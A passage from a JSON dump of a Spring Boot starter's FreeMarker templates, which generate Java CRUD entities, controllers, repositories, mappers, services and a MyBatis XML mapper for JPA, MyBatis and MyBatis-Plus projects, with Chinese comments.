classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n<#list classInfo.fieldList as fieldItem >\n    <#if isComment?exists && isComment==true>/**\n    * ${fieldItem.fieldComment}\n    */</#if><#if isSwagger?exists && isSwagger==true>\n    @ApiModelProperty(\"${fieldItem.fieldComment}\")</#if>\n    <#if isComment?exists && isComment==true>@Column(name=\"${fieldItem.columnName}\")</#if>\n    private ${fieldItem.fieldClass} ${fieldItem.fieldName};\n\n</#list>\n    public ${classInfo.className}() {\n    }\n</#if>\n\n<#if isLombok?exists && isLombok==false>\n    public ${fieldItem.fieldClass} get${fieldItem.fieldName?cap_first}() {\n        return ${fieldItem.fieldName};\n    }\n\n    public void set${fieldItem.fieldName?cap_first}(${fieldItem.fieldClass} ${fieldItem.fieldName}) {\n        this.${fieldItem.fieldName} = ${fieldItem.fieldName};\n    }\n</#if>\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/main/resources/templates/jpa-v1/jpacontroller.ftl",
    "content": "<#if isWithPackage?exists && isWithPackage==true>package ${packageName}.controller;</#if>\n<#if isAutoImport?exists && isAutoImport==true>\nimport ${packageName}.entity.${classInfo.className};\nimport ${packageName}.repository.${classInfo.className}Repository;\nimport org.springframework.data.domain.Example;\nimport org.springframework.data.domain.Pageable;\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.bind.annotation.RequestParam;\nimport org.springframework.data.domain.ExampleMatcher;\nimport org.springframework.data.domain.PageRequest;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.web.bind.annotation.PostMapping;\nimport org.springframework.web.bind.annotation.RestController;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.Optional;\n\n</#if>\n/**\n * @description ${classInfo.classComment}\n * @author ${authorName}\n * @date ${.now?string('yyyy-MM-dd')}\n */\n@RestController\n@RequestMapping(\"/${classInfo.className?uncap_first}\")\npublic class ${classInfo.className}Controller {\n\n    @Autowired\n    private ${classInfo.className}Repository ${classInfo.className?uncap_first}Repository;\n\n    /**\n    * 新增或编辑\n    */\n    @PostMapping(\"/save\")\n    public Object save(${classInfo.className} ${classInfo.className?uncap_first}){\n        return ${classInfo.className?uncap_first}Repository.save(${classInfo.className?uncap_first});\n    }\n\n    /**\n    * 删除\n    */\n    @PostMapping(\"/delete\")\n    public Object delete(int id){\n        Optional<${classInfo.className}> ${classInfo.className?uncap_first}=${classInfo.className?uncap_first}Repository.findById(id);\n        if(${classInfo.className?uncap_first}.isPresent()){\n            ${classInfo.className?uncap_first}Repository.deleteById(id);\n            return ${returnUtilSuccess}(\"删除成功\");\n        }else{\n            return ${returnUtilFailure}(\"没有找到该对象\");\n        }\n    }\n\n    /**\n    * 查询\n    */\n    @PostMapping(\"/find\")\n    public Object find(int id){\n        Optional<${classInfo.className}> ${classInfo.className?uncap_first}=${classInfo.className?uncap_first}Repository.findById(id);\n        if(${classInfo.className?uncap_first}.isPresent()){\n            return ${returnUtilSuccess}(${classInfo.className?uncap_first}.get());\n        }else{\n            return ${returnUtilFailure}(\"没有找到该对象\");\n        }\n    }\n\n    /**\n    * 分页查询\n    */\n    @PostMapping(\"/list\")\n    public Object list(${classInfo.className} ${classInfo.className?uncap_first},\n                        @RequestParam(required = false, defaultValue = \"0\") int pageNumber,\n                        @RequestParam(required = false, defaultValue = \"10\") int pageSize) {\n\n            //创建匹配器，需要查询条件请修改此处代码\n            ExampleMatcher matcher = ExampleMatcher.matchingAll();\n\n            //创建实例\n            Example<${classInfo.className}> example = Example.of(${classInfo.className?uncap_first}, matcher);\n            //分页构造\n            Pageable pageable = PageRequest.of(pageNumber,pageSize);\n\n            return ${classInfo.className?uncap_first}Repository.findAll(example, pageable);\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/main/resources/templates/jpa-v1/repository.ftl",
    "content": "<#if isWithPackage?exists && isWithPackage==true>package ${packageName}.repository;</#if>\n<#if isAutoImport?exists && isAutoImport==true>import ${packageName}.entity.${classInfo.className};\n\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n    <#list classInfo.fieldList as fieldItem >\n        <#if fieldItem.fieldClass == \"Date\">\n            <#assign importDdate = true />\n        </#if>\n    </#list>\n</#if>\nimport java.util.List;\nimport org.springframework.data.jpa.repository.JpaRepository;\nimport org.springframework.data.jpa.repository.Query;\nimport org.springframework.stereotype.Repository;\n</#if>\n/**\n * @description ${classInfo.classComment}\n * @author ${authorName}\n * @date ${.now?string('yyyy-MM-dd')}\n */\n@Repository\npublic interface ${classInfo.className}Repository extends JpaRepository<${classInfo.className},Integer> {\n\n\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/main/resources/templates/model.ftl",
    "content": "package ${packageModel};\n\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n    <#list classInfo.fieldList as fieldItem >\n        <#if fieldItem.fieldClass == \"Date\">\n            <#assign importDdate = true />\n        </#if>\n    </#list>\n</#if>\nimport java.io.Serializable;\n<#if importDdate?? && importDdate>\nimport java.util.Date;\n</#if>\n\n/**\n*  ${classInfo.classComment}\n*\n*  Created by wujun on '${.now?string('yyyy-MM-dd HH:mm:ss')}'.\n*/\npublic class ${classInfo.className} implements Serializable {\n    private static final long serialVersionUID = 42L;\n\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n<#list classInfo.fieldList as fieldItem >\n    /**\n    * ${fieldItem.fieldComment}\n    */\n    private ${fieldItem.fieldClass} ${fieldItem.fieldName};\n\n</#list>\n</#if>\n\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n<#list classInfo.fieldList as fieldItem>\n    public ${fieldItem.fieldClass} get${fieldItem.fieldName?cap_first}() {\n        return ${fieldItem.fieldName};\n    }\n\n    public void set${fieldItem.fieldName?cap_first}(${fieldItem.fieldClass} ${fieldItem.fieldName}) {\n        this.${fieldItem.fieldName} = ${fieldItem.fieldName};\n    }\n\n</#list>\n</#if>\n}"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/main/resources/templates/mybatis/${classInfo.className}.java.ftl",
    "content": "<#if isAutoImport?exists && isAutoImport==true>\nimport java.io.Serializable;\nimport java.util.Date;\nimport java.util.List;\n</#if>\n/**\n * @description ${classInfo.classComment}\n * @author ${authorName}\n * @date ${.now?string('yyyy-MM-dd')}\n */\npublic class ${classInfo.className} implements Serializable {\n\n    private static final long serialVersionUID = 1L;\n\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n<#list classInfo.fieldList as fieldItem >\n    <#if isComment?exists && isComment==true>/**\n    * ${fieldItem.fieldComment}\n    */</#if>\n    private ${fieldItem.fieldClass} ${fieldItem.fieldName};\n\n</#list>\n</#if>\n\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n    public ${classInfo.className}() {\n    }\n\n<#list classInfo.fieldList as fieldItem>\n    public ${fieldItem.fieldClass} get${fieldItem.fieldName?cap_first}() {\n        return ${fieldItem.fieldName};\n    }\n\n    public void set${fieldItem.fieldName?cap_first}(${fieldItem.fieldClass} ${fieldItem.fieldName}) {\n        this.${fieldItem.fieldName} = ${fieldItem.fieldName};\n    }\n\n</#list>\n</#if>\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/main/resources/templates/mybatis/${classInfo.className}.xml.ftl",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE mapper PUBLIC \"-//mybatis.org//DTD Mapper 3.0//EN\"\n        \"http://mybatis.org/dtd/mybatis-3-mapper.dtd\">\n<mapper namespace=\"${packageName}.dao.${classInfo.className}Dao\">\n\n    <resultMap id=\"BaseResultMap\" type=\"${packageName}.entity.${classInfo.className}Entity\" >\n        <#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n            <#list classInfo.fieldList as fieldItem >\n                <result column=\"${fieldItem.columnName}\" property=\"${fieldItem.fieldName}\" />\n            </#list>\n        </#if>\n    </resultMap>\n\n    <sql id=\"Base_Column_List\">\n        <#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n            <#list classInfo.fieldList as fieldItem >\n                ${fieldItem.columnName}<#if fieldItem_has_next>,</#if>\n            </#list>\n        </#if>\n    </sql>\n\n    <insert id=\"insert\" useGeneratedKeys=\"true\" keyColumn=\"id\" keyProperty=\"id\" parameterType=\"${packageName}.entity.${classInfo.className}Entity\">\n        INSERT INTO ${classInfo.tableName}\n        <trim prefix=\"(\" suffix=\")\" suffixOverrides=\",\">\n            <#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n                <#list classInfo.fieldList as fieldItem >\n                    <#if fieldItem.columnName != \"id\" >\n                        <if test=\"null != ${fieldItem.fieldName} and '' != ${fieldItem.fieldName}\">\n                        ${fieldItem.columnName}<#if fieldItem_has_next>,</#if>\n                        ${r\"</if>\"}\n                    </#if>\n                </#list>\n            </#if>\n        </trim>\n        <trim prefix=\"values (\" suffix=\")\" suffixOverrides=\",\">\n            <#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n                <#list classInfo.fieldList as fieldItem >\n                    <#if fieldItem.columnName != \"id\" >\n                    <#--<#if fieldItem.columnName=\"addtime\" || fieldItem.columnName=\"updatetime\" >\n                    ${r\"<if test ='null != \"}${fieldItem.fieldName}${r\"'>\"}\n                        NOW()<#if fieldItem_has_next>,</#if>\n                    ${r\"</if>\"}\n                    <#else>-->\n                        <if test=\"null != ${fieldItem.fieldName} and '' != ${fieldItem.fieldName}\">\n                        ${r\"#{\"}${fieldItem.fieldName}${r\"}\"}<#if fieldItem_has_next>,</#if>\n                        ${r\"</if>\"}\n                    <#--</#if>-->\n                    </#if>\n                </#list>\n            </#if>\n        </trim>\n    </insert>\n\n    <delete id=\"delete\" >\n        DELETE FROM ${classInfo.tableName}\n        WHERE id = ${r\"#{id}\"}\n    </delete>\n\n    <update id=\"update\" parameterType=\"${packageName}.entity.${classInfo.className}Entity\">\n        UPDATE ${classInfo.tableName}\n        <set>\n            <#list classInfo.fieldList as fieldItem >\n                <#if fieldItem.columnName != \"id\" && fieldItem.columnName != \"AddTime\" && fieldItem.columnName != \"UpdateTime\" >\n                    <if test=\"null != ${fieldItem.fieldName} and '' != ${fieldItem.fieldName}\">${fieldItem.columnName} = ${r\"#{\"}${fieldItem.fieldName}${r\"}\"}<#if fieldItem_has_next>,</#if>${r\"</if>\"}\n                </#if>\n            </#list>\n        </set>\n        WHERE id = ${r\"#{\"}id${r\"}\"}\n    </update>\n\n\n    <select id=\"load\" resultMap=\"BaseResultMap\">\n        SELECT <include refid=\"Base_Column_List\" />\n        FROM ${classInfo.tableName}\n        WHERE id = ${r\"#{id}\"}\n    </select>\n\n    <select id=\"pageList\" resultMap=\"BaseResultMap\">\n        SELECT <include refid=\"Base_Column_List\" />\n        FROM ${classInfo.tableName}\n        LIMIT ${r\"#{offset}\"}, ${r\"#{pageSize}\"}\n    </select>\n\n    <select id=\"pageListCount\" resultType=\"java.lang.Integer\">\n        SELECT count(1)\n        FROM ${classInfo.tableName}\n    </select>\n\n</mapper>"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/main/resources/templates/mybatis/${classInfo.className}Controller.java.ftl",
    "content": "<#if isAutoImport?exists && isAutoImport==true>\nimport org.springframework.stereotype.Controller;\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.bind.annotation.RequestParam;\nimport org.springframework.web.bind.annotation.ResponseBody;\n\nimport javax.annotation.Resource;\nimport javax.servlet.http.HttpServletRequest;\nimport java.util.List;\nimport java.util.Map;\n</#if>\n\n/**\n * @description ${classInfo.classComment}\n * @author ${authorName}\n * @date ${.now?string('yyyy-MM-dd')}\n */\n@RestController\n@RequestMapping(value = \"/${classInfo.className?uncap_first}\")\npublic class ${classInfo.className}Controller {\n\n    @Resource\n    private ${classInfo.className}Service ${classInfo.className?uncap_first}Service;\n\n    /**\n    * 新增\n    * @author ${authorName}\n    * @date ${.now?string('yyyy/MM/dd')}\n    **/\n    @RequestMapping(\"/insert\")\n    public Object insert(${classInfo.className} ${classInfo.className?uncap_first}){\n        return ${classInfo.className?uncap_first}Service.insert(${classInfo.className?uncap_first});\n    }\n\n    /**\n    * 刪除\n    * @author ${authorName}\n    * @date ${.now?string('yyyy/MM/dd')}\n    **/\n    @RequestMapping(\"/delete\")\n    public ReturnT<String> delete(int id){\n        return ${classInfo.className?uncap_first}Service.delete(id);\n    }\n\n    /**\n    * 更新\n    * @author ${authorName}\n    * @date ${.now?string('yyyy/MM/dd')}\n    **/\n    @RequestMapping(\"/update\")\n    public ReturnT<String> update(${classInfo.className} ${classInfo.className?uncap_first}){\n        return ${classInfo.className?uncap_first}Service.update(${classInfo.className?uncap_first});\n    }\n\n    /**\n    * 查询 根据主键 id 查询\n    * @author ${authorName}\n    * @date ${.now?string('yyyy/MM/dd')}\n    **/\n    @RequestMapping(\"/load\")\n    public Object load(int id){\n        return ${classInfo.className?uncap_first}Service.load(id);\n    }\n\n    /**\n    * 查询 分页查询\n    * @author ${authorName}\n    * @date ${.now?string('yyyy/MM/dd')}\n    **/\n    @RequestMapping(\"/pageList\")\n    public Map<String, Object> pageList(@RequestParam(required = false, defaultValue = \"0\") int offset,\n                                        @RequestParam(required = false, defaultValue = \"10\") int pagesize) {\n        return ${classInfo.className?uncap_first}Service.pageList(offset, pagesize);\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/main/resources/templates/mybatis/${classInfo.className}Mapper.java.ftl",
    "content": "<#if isAutoImport?exists && isAutoImport==true>\nimport org.apache.ibatis.annotations.Param;\nimport org.apache.ibatis.annotations.Mapper;\nimport org.springframework.stereotype.Repository;\nimport java.util.List;\n</#if>\n\n/**\n * @description ${classInfo.classComment}\n * @author ${authorName}\n * @date ${.now?string('yyyy-MM-dd')}\n */\n@Mapper\n@Repository\npublic interface ${classInfo.className}Mapper {\n\n    /**\n    * 新增\n    * @author ${authorName}\n    * @date ${.now?string('yyyy/MM/dd')}\n    **/\n    int insert(${classInfo.className} ${classInfo.className?uncap_first});\n\n    /**\n    * 刪除\n    * @author ${authorName}\n    * @date ${.now?string('yyyy/MM/dd')}\n    **/\n    int delete(int id);\n\n    /**\n    * 更新\n    * @author ${authorName}\n    * @date ${.now?string('yyyy/MM/dd')}\n    **/\n    int update(${classInfo.className} ${classInfo.className?uncap_first});\n\n    /**\n    * 查询 根据主键 id 查询\n    * @author ${authorName}\n    * @date ${.now?string('yyyy/MM/dd')}\n    **/\n    ${classInfo.className} load(int id);\n\n    /**\n    * 查询 分页查询\n    * @author ${authorName}\n    * @date ${.now?string('yyyy/MM/dd')}\n    **/\n    List<${classInfo.className}> pageList(int offset,int pagesize);\n\n    /**\n    * 查询 分页查询 count\n    * @author ${authorName}\n    * @date ${.now?string('yyyy/MM/dd')}\n    **/\n    int pageListCount(int offset,int pagesize);\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/main/resources/templates/mybatis/${classInfo.className}Mapper2.java.ftl",
    "content": "<#if isWithPackage?exists && isWithPackage==true>package ${packageName}.mapper;</#if>\n<#if isAutoImport?exists && isAutoImport==true>\nimport org.apache.ibatis.annotations.*;\nimport org.springframework.stereotype.Repository;\nimport java.util.List;\n</#if>\n/**\n * @description ${classInfo.classComment}Mapper\n * @author ${authorName}\n * @date ${.now?string('yyyy-MM-dd')}\n */\n@Mapper\n@Repository\npublic interface ${classInfo.className}Mapper {\n\n    @Select(\"select * from ${classInfo.tableName} where ${classInfo.tableName}_id=#{id}\")\n    public ${classInfo.className} getById(Integer id);\n\n    @Options(useGeneratedKeys=true,keyProperty=\"${classInfo.className?uncap_first}Id\")\n    @Insert(\"insert into ${classInfo.tableName}\" +\n        \" (<#list classInfo.fieldList as fieldItem >${fieldItem.columnName}<#if fieldItem_has_next>,</#if></#list>)\" +\n        \" values(<#list classInfo.fieldList as fieldItem >${fieldItem.fieldName}<#if fieldItem_has_next>,<#else>)</#if></#list>\")\n    public Integer insert(${classInfo.className} ${classInfo.className?uncap_first});\n\n    @Delete(value = \"delete from ${classInfo.tableName} where ${classInfo.tableName}_id=#{${classInfo.className?uncap_first}Id}\")\n    boolean delete(Integer id);\n\n    @Update(value = \"update ${classInfo.tableName} set \"\n    <#list classInfo.fieldList as fieldItem >\n        <#if fieldItem.columnName != \"id\">+\" ${fieldItem.columnName}=#{${fieldItem.fieldName}}<#if fieldItem_has_next>,</#if>\"</#if>\n    </#list>\n        +\" where ${classInfo.tableName}_id=#{${classInfo.className?uncap_first}Id} \")\n    boolean update(${classInfo.className} ${classInfo.className?uncap_first});\n\n\n    @Results(value = {\n    <#list classInfo.fieldList as fieldItem >\n        @Result(property = \"${fieldItem.fieldName}\", column = \"${fieldItem.columnName}\")<#if fieldItem_has_next>,</#if>\n    </#list>\n    })\n    @Select(value = \"select * from ${classInfo.tableName} where ${classInfo.tableName}_id=#{queryParam}\")\n    ${classInfo.className} selectOne(String queryParam);\n\n    @Results(value = {\n    <#list classInfo.fieldList as fieldItem >\n        @Result(property = \"${fieldItem.fieldName}\", column = \"${fieldItem.columnName}\")<#if fieldItem_has_next>,</#if>\n    </#list>\n    })\n    @Select(value = \"select * from ${classInfo.tableName} where \"\n    <#list classInfo.fieldList as fieldItem >\n        +\" ${fieldItem.columnName}=#{${fieldItem.fieldName}}<#if fieldItem_has_next> or </#if>\"\n    </#list>\n    )\n    List<${classInfo.className}> selectList(${classInfo.className} ${classInfo.className?uncap_first});\n\n}"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/main/resources/templates/mybatis/${classInfo.className}Service.java.ftl",
    "content": "<#if isAutoImport?exists && isAutoImport==true>\nimport java.util.Map;\n</#if>\n/**\n * @description ${classInfo.classComment}\n * @author ${authorName}\n * @date ${.now?string('yyyy-MM-dd')}\n */\npublic interface ${classInfo.className}Service {\n\n    /**\n    * 新增\n    */\n    public Object insert(${classInfo.className} ${classInfo.className?uncap_first});\n\n    /**\n    * 删除\n    */\n    public Object delete(int id);\n\n    /**\n    * 更新\n    */\n    public Object update(${classInfo.className} ${classInfo.className?uncap_first});\n\n    /**\n    * 根据主键 id 查询\n    */\n    public ${classInfo.className} load(int id);\n\n    /**\n    * 分页查询\n    */\n    public Map<String,Object> pageList(int offset, int pagesize);\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/main/resources/templates/mybatis/${classInfo.className}ServiceImpl.java.ftl",
    "content": "<#if isAutoImport?exists && isAutoImport==true>\nimport org.springframework.stereotype.Service;\nimport javax.annotation.Resource;\nimport java.util.ArrayList;\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\n</#if>\n/**\n * @description ${classInfo.classComment}\n * @author ${authorName}\n * @date ${.now?string('yyyy-MM-dd')}\n */\n@Service\npublic class ${classInfo.className}ServiceImpl implements ${classInfo.className}Service {\n\n\t@Resource\n\tprivate ${classInfo.className}Mapper ${classInfo.className?uncap_first}Mapper;\n\n\n\t@Override\n\tpublic Object insert(${classInfo.className} ${classInfo.className?uncap_first}) {\n\n\t\t// valid\n\t\tif (${classInfo.className?uncap_first} == null) {\n\t\t\treturn ${returnUtilFailure}(\"必要参数缺失\");\n        }\n\n\t\t${classInfo.className?uncap_first}Mapper.insert(${classInfo.className?uncap_first});\n        return ${returnUtilSuccess}();\n\t}\n\n\n\t@Override\n\tpublic Object delete(int id) {\n\t\tint ret = ${classInfo.className?uncap_first}Mapper.delete(id);\n\t\treturn ret>0?${returnUtilSuccess}():${returnUtilFailure}();\n\t}\n\n\n\t@Override\n\tpublic Object update(${classInfo.className} ${classInfo.className?uncap_first}) {\n\t\tint ret = ${classInfo.className?uncap_first}Mapper.update(${classInfo.className?uncap_first});\n\t\treturn ret>0?${returnUtilSuccess}():${returnUtilFailure}();\n\t}\n\n\n\t@Override\n\tpublic ${classInfo.className} load(int id) {\n\t\treturn ${classInfo.className?uncap_first}Mapper.load(id);\n\t}\n\n\n\t@Override\n\tpublic Map<String,Object> pageList(int offset, int pagesize) {\n\n\t\tList<${classInfo.className}> pageList = ${classInfo.className?uncap_first}Mapper.pageList(offset, pagesize);\n\t\tint totalCount = ${classInfo.className?uncap_first}Mapper.pageListCount(offset, pagesize);\n\n\t\t// result\n\t\tMap<String, Object> result = new HashMap<String, Object>();\n\t\tresult.put(\"pageList\", pageList);\n\t\tresult.put(\"totalCount\", totalCount);\n\n\t\treturn result;\n\t}\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/main/resources/templates/mybatis-plus/${classInfo.className}.java.ftl",
    "content": "<#if isWithPackage?exists && isWithPackage==true>package ${packageName}.entity;</#if>\n\n<#if isAutoImport?exists && isAutoImport==true>\n<#if isLombok?exists && isLombok==true>import lombok.Data;</#if>\nimport java.util.Date;\nimport java.util.List;\nimport java.io.Serializable;\nimport com.baomidou.mybatisplus.annotation.IdType;\nimport com.baomidou.mybatisplus.annotation.TableId;\n<#if isSwagger?exists && isSwagger==true>\nimport io.swagger.annotations.ApiModel;\nimport io.swagger.annotations.ApiModelProperty;</#if>\n</#if>\n/**\n * @description ${classInfo.classComment}\n * @author ${authorName}\n * @date ${.now?string('yyyy-MM-dd')}\n */\n<#if isLombok?exists && isLombok==true>@Data</#if><#if isSwagger?exists && isSwagger==true>\n@ApiModel(\"${classInfo.classComment}\")</#if>\npublic class ${classInfo.className} implements Serializable {\n\n    private static final long serialVersionUID = 1L;\n\n    @TableId(type = IdType.AUTO)\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n<#list classInfo.fieldList as fieldItem >\n    <#if isComment?exists && isComment==true>/**\n    * ${fieldItem.fieldComment}\n    */</#if><#if isSwagger?exists && isSwagger==true>\n    @ApiModelProperty(\"${fieldItem.fieldComment}\")</#if>\n    private ${fieldItem.fieldClass} ${fieldItem.fieldName};\n\n<#if isLombok?exists && isLombok==false>\n    public ${fieldItem.fieldClass} get${fieldItem.fieldName?cap_first}() {\n        return ${fieldItem.fieldName};\n    }\n\n    public void set${fieldItem.fieldName?cap_first}(${fieldItem.fieldClass} ${fieldItem.fieldName}) {\n        this.${fieldItem.fieldName} = ${fieldItem.fieldName};\n    }\n</#if>\n</#list>\n</#if>\n    public ${classInfo.className}() {}\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/main/resources/templates/mybatis-plus/${classInfo.className}Controller.java.ftl",
    "content": "<#if isWithPackage?exists && isWithPackage==true>package ${packageName}.controller;</#if>\n<#if isAutoImport?exists && isAutoImport==true>\nimport com.alibaba.fastjson.JSON;\nimport ${packageName}.entity.${classInfo.className};\nimport ${packageName}.mapper.${classInfo.className}Mapper;\nimport ${packageName}.util.ReturnT;\nimport lombok.extern.slf4j.Slf4j;\nimport org.apache.commons.lang3.StringUtils;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.web.bind.annotation.*;\nimport com.baomidou.mybatisplus.core.conditions.query.QueryWrapper;\nimport com.baomidou.mybatisplus.core.metadata.IPage;\nimport com.baomidou.mybatisplus.extension.plugins.pagination.Page;\nimport org.springframework.web.servlet.ModelAndView;\n\nimport java.util.Date;\nimport java.util.List;\nimport java.util.Map;\n</#if>\n/**\n* @description ${classInfo.classComment}控制器\n* @author ${authorName}\n* @date ${.now?string('yyyy-MM-dd')}\n*/\n@Slf4j\n@RestController\n@RequestMapping(\"/${classInfo.className?uncap_first}\")\npublic class ${classInfo.className}Controller {\n\n    @Autowired\n    private ${classInfo.className}Mapper ${classInfo.className?uncap_first}Mapper;\n\n    /**\n    * 新增或编辑\n    */\n    @PostMapping(\"/save\")\n    public Object save(@RequestBody ${classInfo.className} ${classInfo.className?uncap_first}){\n        log.info(\"${classInfo.className?uncap_first}:\"+JSON.toJSONString(${classInfo.className?uncap_first}));\n        ${classInfo.className} old${classInfo.className} = ${classInfo.className?uncap_first}Mapper.selectOne(new QueryWrapper<${classInfo.className}>().eq(\"${classInfo.className?uncap_first}_id\",${classInfo.className?uncap_first}.get${classInfo.className}Id()));\n        ${classInfo.className?uncap_first}.setUpdateTime(new Date());\n        if(old${classInfo.className}!=null){\n            ${classInfo.className?uncap_first}Mapper.updateById(${classInfo.className?uncap_first});\n        }else{\n        if(${classInfo.className?uncap_first}Mapper.selectOne(new QueryWrapper<${classInfo.className}>().eq(\"${classInfo.className?uncap_first}_name\",${classInfo.className?uncap_first}.get${classInfo.className}Name()))!=null){\n            return ${returnUtilFailure}(\"保存失败，名字重复\");\n        }\n        ${classInfo.className?uncap_first}.setCreateTime(new Date());\n        ${classInfo.className?uncap_first}Mapper.insert(${classInfo.className?uncap_first});\n        }\n        return ${returnUtilSuccess}(\"保存成功\");\n    }\n\n    /**\n    * 删除\n    */\n    @PostMapping(\"/delete\")\n    public Object delete(int id){\n    ${classInfo.className} ${classInfo.className?uncap_first} = ${classInfo.className?uncap_first}Mapper.selectOne(new QueryWrapper<${classInfo.className}>().eq(\"${classInfo.className?uncap_first}_id\",id));\n        if(${classInfo.className?uncap_first}!=null){\n            ${classInfo.className?uncap_first}Mapper.deleteById(id);\n            return ${returnUtilSuccess}(\"删除成功\");\n        }else{\n            return ${returnUtilFailure}(\"没有找到该对象\");\n        }\n    }\n\n    /**\n    * 查询\n    */\n    @PostMapping(\"/find\")\n    public Object find(int id){\n    ${classInfo.className} ${classInfo.className?uncap_first} = ${classInfo.className?uncap_first}Mapper.selectOne(new QueryWrapper<${classInfo.className}>().eq(\"${classInfo.className?uncap_first}_id\",id));\n        if(${classInfo.className?uncap_first}!=null){\n            return ${returnUtilSuccess}(${classInfo.className?uncap_first});\n        }else{\n            return ${returnUtilFailure}(\"没有找到该对象\");\n        }\n    }\n\n    /**\n    * 自动分页查询\n    */\n    @PostMapping(\"/list\")\n    public Object list(String searchParams,\n    @RequestParam(required = false, defaultValue = \"0\") int page,\n    @RequestParam(required = false, defaultValue = \"10\") int limit) {\n        log.info(\"page:\"+page+\"-limit:\"+limit+\"-json:\"+ JSON.toJSONString(searchParams));\n        //分页构造器\n        Page<${classInfo.className}> buildPage = new Page<${classInfo.className}>(page,limit);\n        //条件构造器\n        QueryWrapper<${classInfo.className}> queryWrapper = new QueryWrapper<${classInfo.className}>();\n        if(StringUtils.isNotEmpty(searchParams)&&JSON.isValid(searchParams)) {\n            ${classInfo.className} ${classInfo.className?uncap_first} = JSON.parseObject(searchParams, ${classInfo.className}.class);\n            queryWrapper.eq(StringUtils.isNoneEmpty(${classInfo.className?uncap_first}.get${classInfo.className}Name()), \"${classInfo.className?uncap_first}_name\", ${classInfo.className?uncap_first}.get${classInfo.className}Name());\n        }\n        //执行分页\n        IPage<${classInfo.className}> pageList = ${classInfo.className?uncap_first}Mapper.selectPage(buildPage, queryWrapper);\n        //返回结果\n        return ${returnUtil}.PAGE(pageList.getRecords(),pageList.getTotal());\n    }\n    /**\n    * 手工分页查询(按需使用)\n    */\n    /*@PostMapping(\"/list2\")\n    public Object list2(String searchParams,\n    @RequestParam(required = false, defaultValue = \"0\") int page,\n    @RequestParam(required = false, defaultValue = \"10\") int limit) {\n        log.info(\"searchParams:\"+ JSON.toJSONString(searchParams));\n        //通用模式\n        ${classInfo.className} queryParamDTO = JSON.parseObject(searchParams, ${classInfo.className}.class);\n        //专用DTO模式\n        //QueryParamDTO queryParamDTO = JSON.parseObject(searchParams, QueryParamDTO.class);\n        //queryParamDTO.setPage((page - 1)* limit);\n        //queryParamDTO.setLimit(limit);\n        //(page - 1) * limit, limit\n        List<${classInfo.className}> itemList = ${classInfo.className?uncap_first}Mapper.pageAll(queryParamDTO,(page - 1)* limit,limit);\n        Integer itemCount = ${classInfo.className?uncap_first}Mapper.countAll(queryParamDTO);\n        //返回结果\n        return ${returnUtilSuccess}.PAGE(itemList,itemCount);\n    }*/\n    @GetMapping(\"/list\")\n    public ModelAndView listPage(){\n        return new ModelAndView(\"${classInfo.className?uncap_first}-list\");\n    }\n\n    @GetMapping(\"/edit\")\n    public ModelAndView editPage(int id){\n        ${classInfo.className} ${classInfo.className?uncap_first} = ${classInfo.className?uncap_first}Mapper.selectOne(new QueryWrapper<${classInfo.className}>().eq(\"${classInfo.className?uncap_first}_id\",id));\n        return new ModelAndView(\"${classInfo.className?uncap_first}-edit\",\"${classInfo.className?uncap_first}\",${classInfo.className?uncap_first});\n    }\n\n    /**\n    * 发布/暂停(如不需要请屏蔽)\n    */\n    @PostMapping(\"/publish\")\n    public Object publish(int id,Integer status){\n        ${classInfo.className} ${classInfo.className?uncap_first} = ${classInfo.className?uncap_first}Mapper.selectOne(new QueryWrapper<${classInfo.className}>().eq(\"${classInfo.className?uncap_first}_id\",id));\n        if(${classInfo.className?uncap_first}!=null){\n            ${classInfo.className?uncap_first}.setUpdateTime(new Date());\n            ${classInfo.className?uncap_first}.setStatus(status);\n            ${classInfo.className?uncap_first}Mapper.updateById(${classInfo.className?uncap_first});\n            return ${returnUtilSuccess}((status==1)?\"已发布\":\"已暂停\");\n        }else if(status.equals(${classInfo.className?uncap_first}.getStatus())){\n            return ${returnUtilFailure}(\"状态不正确\");\n        }else{\n            return ${returnUtilFailure}();\n        }\n    }\n\n    /**\n    * 执行(如不需要请屏蔽)\n    */\n    @PostMapping(\"/execute\")\n    public Object execute(){\n        return ${returnUtilSuccess};\n    }\n}\n}\n\n\n\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/main/resources/templates/mybatis-plus/${classInfo.className}Mapper.java.ftl",
